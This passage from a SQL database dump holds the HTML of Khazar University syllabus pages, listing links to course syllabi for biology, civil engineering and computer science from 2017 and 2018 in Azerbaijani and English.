href=\"http://www.khazar.org/files/biolog_depart/Medical%20Biology.pdf\">Tibbi Biologiyanın Əsasları&nbsp;- Humanitar</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_A_Education.pdf\">Mülki Müdafiə və Tibbi Biliklərin Əsasları (A)&nbsp;- Təhsil</a><br></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_B_Education.pdf\">Mülki Müdafiə və Tibbi Biliklərin Əsasları  &nbsp;(B)&nbsp;- Təhsil</a>  <br></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_humanities%20science.pdf\">Mülki Müdafiə və Tibbi Biliklərin Əsasları&nbsp;– Humanitar</a><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/LifeScience_Humanitar.docx\"></a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_Engineering%20and%20Applied%20Sciences.pdf\">Mülki Müdafiə və Tibbi Biliklərin Əsasları&nbsp;– Mühəndislik</a></p>'),(3446,2025,'en','Syllabus','Syllabus','<h3><strong>Spring 2018</strong></h3><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/Qida_Z%C9%99h%C9%99rl%C9%99nm%C9%99l%C9%99ri_v%C9%99_t%C9%99hl%C3%BCk%C9%99sizliyi_Ayt%C9%99kin_H%C9%99s%C9%99nova.pdf\">Qida\r\nzəhərlənmələri və təhlükəsizliyi</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/LifeScience_H%C3%BCseynC%C9%99f%C9%99rov_Humanitar.pdf\">Life Science&nbsp;–&nbsp;Humanities and Social Sciences</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/LifeScience_H%C3%BCseynC%C9%99f%C9%99rov_T%C9%99hsil.pdf\">Life Science – Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/BOTANIKA_Gulafat_Shafiyeva.pdf\">Botany - 1</a><br></p><p><strong><br></strong></p><h3><strong>Fall 2017&nbsp;</strong></h3><p><a href=\"http://www.khazar.org/files/biolog_depart/Biochemistry.pdf\">Biochemistry – Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Bioinformatics.pdf\">Bioinformatics – Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Ecology%20and%20Evolutionary%20%20Biology.pdf\">Ecology and Evolution – Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/General%20Biology.pdf\">General Biology –&nbsp; Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Plant%20Physiology.pdf\">Plant Physiology –&nbsp; Education</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/Medical%20Biology.pdf\">Medical Biology - Humanities and Social Sciences</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_A_Education.pdf\">Life Science (A)&nbsp;- Education</a><br></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_B_Education.pdf\">Life Science (B)&nbsp;-&nbsp; Education</a><br></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_humanities%20science.pdf\">Life Science&nbsp;–&nbsp;Humanities and Social Sciences</a></p><p><a href=\"http://www.khazar.org/files/biolog_depart/LifeScience_Engineering%20and%20Applied%20Sciences.pdf\">Life Science – Engineering</a></p>'),(3447,2026,'az','Sillabuslar','Sillabuslar','<p><strong>Spring 2018</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Construction_Materials_Sabira_Zeynalova.pdf\">Construction\r\nMaterials</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Engineering_drawing-Zumrud_Bayramova.pdf\">Engineering\r\nDrawings (AutoCAD)</a></strong><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Insaat_Materiallar_Laboratoriya_isi.pdf\"><strong>Construction Materials - Laboratory Work</strong></a>&nbsp;<br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Hydraulic_Structures_Mehdi_Kiyasatfar.pdf\">Hydraulic Structures</a>  <br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Basies%20of%20Metrology%20Q%C9%99hr%C9%99man%20M%C9%99mm%C9%99dov.pdf\">Basics of Metrology</a></strong>  <br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Fall&nbsp;2017</strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Fall-2017_EngineeringMech..doc\"><strong>Engineering Mechanics</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Foundations%20Engineering_Fall_2017.doc\">Foundation Engineering</a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Foundations%20Engineering%20-%202017.doc\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Reinforced%20Concrete.docx\">Reinforced Concrete Fundamentals</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Rasim%20Bayramli_reinf..docx\">Reinforced Concrete Fundamentals&nbsp;lab</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\">HS&amp;E</a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\"></a></strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Syllabus_HSE_Tural%20Maharramov_Spring%202017.doc.docx\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Architectural%20structures.docx\">Architectural Structures&nbsp;</a></strong><br><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/steel%20design.docx\">Fundamentals of Steel design</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Hydraulics-Syllabus.docx\">Hydraulics&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Earthquake%20Engineering%20Seismology%20Syllabus%20-%202017.doc\">Engineering Seismology</a></strong></p><p><br></p><p><strong>Spring 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Engineering%20Mechanics.pdf\">Engineering Mechanics</a> <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Strength%20of%20Material.pdf\">Strength of Materials</a> <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Surveying%20Engineering.pdf\">Surveying</a>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/In%C5%9Faat%20materiallar%C4%B1ndan%20laboratoriya%20i%C5%9Fl%C9%99ri.pdf\">Materials\r\nof Construction  / lab&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Soil%20Mechanics.pdf\">Soil\r\nMechanics   </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_engineering%20drawings%20for%20civil.pdf\">Engineering Drawing</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_construction%20machinary%20%281%29.pdf\">Construction Machines</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_Steel%20Structures%2C%20Spring%202017.pdf\">Steel Structure</a><br></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Structural%20Analysis.pdf\"><strong>Structural&nbsp; Analysis </strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Reinforced%20Concrete%202.pdf\">Reinforced Concrete Fundamentals  2 </a> </strong></p><strong></strong>'),(3448,2026,'en','Syllabus','Syllabus','<p><strong>Spring 2018</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Construction_Materials_Sabira_Zeynalova.pdf\">Construction\r\nMaterials</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Engineering_drawing-Zumrud_Bayramova.pdf\">Engineering\r\nDrawings (AutoCAD)</a></strong><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Insaat_Materiallar_Laboratoriya_isi.pdf\"><strong>Construction Materials - Laboratory Work</strong></a>&nbsp;<br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Hydraulic_Structures_Mehdi_Kiyasatfar.pdf\">Hydraulic Structures</a>  <br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Basies%20of%20Metrology%20Q%C9%99hr%C9%99man%20M%C9%99mm%C9%99dov.pdf\">Basics of Metrology</a></strong><br></strong></p><p><strong><br></strong></p><p><strong>Fall&nbsp;2017</strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Fall-2017_EngineeringMech..doc\"><strong>Engineering Mechanics</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Foundations%20Engineering_Fall_2017.doc\">Foundation Engineering</a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Foundations%20Engineering%20-%202017.doc\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Reinforced%20Concrete.docx\">Reinforced Concrete Fundamentals</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Rasim%20Bayramli_reinf..docx\">Reinforced Concrete Fundamentals&nbsp;lab</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\">HS&amp;E</a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Syllabus_HSE_Tural%20Maharramov_Fall_2017.doc.docx\"></a></strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Syllabus_HSE_Tural%20Maharramov_Spring%202017.doc.docx\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Architectural%20structures.docx\">Architectural Structures&nbsp;</a></strong><br><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/steel%20design.docx\">Fundamentals of Steel design</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Hydraulics-Syllabus.docx\">Hydraulics&nbsp;</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Civil/Earthquake%20Engineering%20Seismology%20Syllabus%20-%202017.doc\">Engineering Seismology</a></strong></p><p><br></p><p><strong>Spring 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Engineering%20Mechanics.pdf\">Engineering Mechanics</a> <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Strength%20of%20Material.pdf\">Strength of Materials</a> <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Surveying%20Engineering.pdf\">Surveying</a>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/In%C5%9Faat%20materiallar%C4%B1ndan%20laboratoriya%20i%C5%9Fl%C9%99ri.pdf\">Materials\r\nof Construction  / lab&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Soil%20Mechanics.pdf\">Soil\r\nMechanics   </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_engineering%20drawings%20for%20civil.pdf\">Engineering Drawing</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_construction%20machinary%20%281%29.pdf\">Construction Machines</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Syllabus_Steel%20Structures%2C%20Spring%202017.pdf\">Steel Structure</a><br></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Structural%20Analysis.pdf\"><strong>Structural&nbsp; Analysis </strong></a></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder/Reinforced%20Concrete%202.pdf\">Reinforced Concrete Fundamentals  2 </a> </strong></p><strong></strong>'),(3449,2027,'az','Sillabuslar','Sillabuslar','<h3><strong>Yaz&nbsp;2018</strong></h3><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Introduction_to_comp_science-LamiyA_Hac%C4%B1l%C4%B1.pdf\">Introduction to Computer Science</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Internet_Architecture-Abdulsalam_S._Mustafa.pdf\">Internet Architecture</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Information_Security-Uzeyir_Qafarli.pdf\">Information Security</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Application_in_Engineering-Abdulsalam_S._Mustafa.pdf\">Computer Applications in Engineering</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_application_ParvanaSalmanova_2018.pdf\"><strong>Computer Applications in</strong>&nbsp;Education</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Cisco_Networks-Asim_Namazov.pdf\">Cisco Certificate Network Administrator 1</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Organization-Ibadat_Mammadov.pdf\">Computer Organization</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Embedded_Systems-Nicat_Ibrahimov.pdf\">Embedded systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Internet_Programming-Mahammad_Sharifov.pdf\">Internet&nbsp;Programming</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web&nbsp;Programming 1</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web&nbsp;Programming 2</a></strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/%C4%B0nformatikan%C4%B1n_t%C9%99drisi_metodikas%C4%B1-Ibadat_Mammadov.pdf\">Teaching Methods in Computer Science</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/%C4%B0nformatikan%C4%B1n_t%C9%99drisi_metodikas%C4%B1-Ibadat_Mammadov.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Machine_Learning_Leyla%20Muradkhanli.pdf\">Machine Learning</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Soft_Computing_Leyla__Muradkhanli.pdf\">Soft Computing</a></strong><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Fundamentals_of_Computer_Programming_Rashad_Khaligov.pdf\">Fundamentals of Computer Programming</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Wireless_Communications_Abdul_Salam_Mustafa.pdf\">Wireless Communications</a></strong>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Database_Structure_Ismail_Ismailov.pdf\">Data structure</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Data_Structure_and_Algorithms_Seyed_Amir_Hossein_Siahpooshha.pdf\">Data Structure and Algorithms</a><br></strong></p>  <p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Applications_in_Business_Ismayil_Ismayilov.pdf\">Computer Applications in Business</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Operating_Systems_Abdul_Salam_Mustafa.pdf\">Operating Systems</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Software_Engineering_Seyed_Amir_Hossein_Siahpooshha.pdf\">Software Engineering</a></strong>  <br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Syllabus_Computer%20Graphics.pdf\">Computer Graphics</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Introduction_to_Theory_of_Computation_Seyed_Amir_Hossein_Siahpooshha.pdf\">Introduction to Theory of Computation</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Farman_Mammadov_CV.pdf\">Very Large-Scale Integration&nbsp;Circuits and&nbsp;System&nbsp;Design</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Operations_Research_and_Optimization_Ulviyya_Ahmadova.pdf\">Operations Research and Optimization</a></strong></p>  <p><br></p><p><br></p><h3><strong>Payız 2017</strong></h3><p><strong><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer_Applications_Ismayilov_IA.pdf\">Computer Application in Engineering&nbsp;1&nbsp;A</a></strong></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\"><strong></strong></a></strong></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\">Computer Application in Engineering 1&nbsp;B</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/CMS%20202_Computer%20Application%20in%20Engineering%20RKhaligov.docx\">Computer Application in Engineering&nbsp;1&nbsp;C</a></strong>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer%20Graphics_Fall%202017.docx\">Computer Graphics</a>&nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Computer%20Organization.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web Programming 1&nbsp;A</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Web_Programming_1_CMS_220%5BMahammadSharifov%5D.pdf\">Web Programming 1&nbsp;B</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Computer_Networks_Syllabus.docx\">Computer Networks 1&nbsp;A&nbsp;</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20data%20structure.pdf\"></a><br></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Computer_Networks_Syllabus.docx\"><strong>Computer Networks 1 B</strong><strong></strong></a></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\">Database Management Systems A</a><br></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/DBMS_CMS_316%5BMahammadSharifov%5D.pdf\">Database Management Systems&nbsp;B</a></strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus-Artificial%20Intelligence-F.Takarli.pdf\">Artificial Intelligence</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Software%20Engineering.pdf\">Software Engineering</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Digital%20Logic%20Syllabus.docx\">Digital Logic</a>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Syllabus_Design_and_Analysis_of_Algorithms_Fall2017.pdf\">Design and Analysis of Algorithms</a>&nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Design%20of%20Modern%20Algorithm.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Multimedia_Systems_CMS_416%255bMahammadSharifov%255d.pdf\">Multimedia Systems</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Advanced%20Computer%20Networks_2017.docx\">Advanced computer networks and communications</a>&nbsp;</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Advanced%20Data%20Structure_LM.docx\">Advanced Data Structure</a>&nbsp;<a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Internet_Architecture.pdf\"></a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Parallel%20Computer%20Architecture%20LM.docx\">Parallel Computer Architecture</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus-Advanced%20OOP-F.Takarli.pdf\">Advanced Object Oriented Programming</a><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20Wireless%20communication.pdf\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_FM-%20Distributed%20systems.docx\">Distributed Systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_FM-%20Optical%20SS.docx\">Optical Signals and Systems</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Parallel%20Programming_Fall%202017.docx\">Parallel Programming</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/syllabus%20-%20Advanced%20Software%20Engineer.pdf\">Advanced Software Engineering</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Syllabus_Computer%20Security_Fall%202017.docx\">Computer Security</a>&nbsp;<br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/syllabus%20-%20Data%20Mining.pdf\">Data mining</a>&nbsp;</strong></p>  <p><br></p><p><strong>Yaz 2017</strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Computer_Applications_Ismayilov_IA.pdf\">Computer Application in Engineering</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/FundamentalsofComputerProgramming_RK.pdf\">Fundamentals of Computer Programming&nbsp;1 A</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/FundamentalsofComputerProgramming_RK.pdf\">Fundamentals of Computer Programming&nbsp;1 B</a><br></strong></p><p><strong> <a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Computer%20Organization.pdf\">Computer Organization</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web Programming 2 A</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Web_Programming_2_CMS_250%5BMahammadSharifov%5D.pdf\">Web Programming 2 B</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20data%20structure.pdf\">Data Structures </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Robotics_Engineering.pdf\">Introduction to Robotics</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Operations%20Research%20and%20Optimization%20Spring%202016%20Javad%20Mehri.pdf\">Operations Research</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/Introduction%20to%20Theory%20of%20Computation.pdf\">Introduction to Theory of&nbsp; Computations</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20information%20security.pdf\">Information Security</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Software%20Engineering.pdf\">Software Engineering  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Soft%20Computing%20Spring%202017%20LM.pdf\">Soft Computing  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Design%20of%20Modern%20Algorithm.pdf\">Design and Analysis of Algorithms  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Multimedia_Systems_CMS_416%5BMahammadSharifov%5D.pdf\">Multimedia Systems   </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Computer%20graphics.pdf\">Computer Graphics&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Internet_Architecture.pdf\">Internet architecture  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_Machine%20Learning_LM.pdf\">Machine learning  </a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20of%20Wireless%20communication.pdf\">Wireless communication&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_FM-%20Embedded%20systems.pdf\">Embedded systems&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus_FM-VLSI%20systems.pdf\">VLSI Circuits and System Design&nbsp;</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/Syllabus%20Principles%20of%20Programming%20Languages.pdf\">Programming Languages </a></strong></p>'),(3450,2027,'en','Syllabus','Syllabus','<h3><strong>Spring 2018</strong></h3><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Introduction_to_comp_science-LamiyA_Hac%C4%B1l%C4%B1.pdf\">Introduction to Computer Science</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Internet_Architecture-Abdulsalam_S._Mustafa.pdf\">Internet Architecture</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Information_Security-Uzeyir_Qafarli.pdf\">Information Security</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_Application_in_Engineering-Abdulsalam_S._Mustafa.pdf\">Computer Applications in Engineering</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Computer_application_ParvanaSalmanova_2018.pdf\"><strong>Computer Applications in</strong>&nbsp;Education</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/NewFolder/NewFolder%204/Cisco_Networks-Asim_Namazov.pdf\">Cisco Certificate Network Administrator 1</a>  <br></strong></p><p><strong><a 